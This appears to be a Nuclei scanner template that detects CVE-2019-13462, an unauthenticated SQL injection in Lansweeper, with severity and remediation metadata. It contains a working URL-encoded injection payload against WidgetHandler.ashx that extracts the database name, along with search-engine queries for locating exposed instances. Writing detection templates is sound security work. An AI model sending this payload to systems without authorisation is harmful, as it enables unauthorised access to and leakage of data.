id: CVE-2019-13462

info:
  name: Lansweeper Unauthenticated SQL Injection
  author: divya_mudgal
  severity: critical
  description: Lansweeper before 7.1.117.4 allows unauthenticated SQL injection.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Lansweeper system.
  remediation: |
    Apply the latest security patch or update provided by Lansweeper to fix the SQL Injection vulnerability.
  reference:
    - https://www.nccgroup.com/ae/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-13462
    - https://www.nccgroup.trust/uk/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
    - https://www.lansweeper.com/forum/yaf_topics33_Announcements.aspx
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2019-13462
    cwe-id: CWE-89
    epss-score: 0.79483
    epss-percentile: 0.99102
    cpe: cpe:2.3:a:lansweeper:lansweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lansweeper
    product: lansweeper
    shodan-query: http.title:"lansweeper - login"
    fofa-query: title="lansweeper - login"
    google-query: intitle:"lansweeper - login"
  tags: cve,cve2019,sqli,lansweeper,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "~lansweeperdb~"

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 500
# digest: 4a0a0047304502200a57424b55cf206e4067d8d3e4aea22aa757c529652860fbe2d4288770ef67e4022100eeb1776c2eb3cd5ee56f3003f96487c193354574d6d955a6f296d50469a75bd8:922c64590222798bb761d5b6d8e72950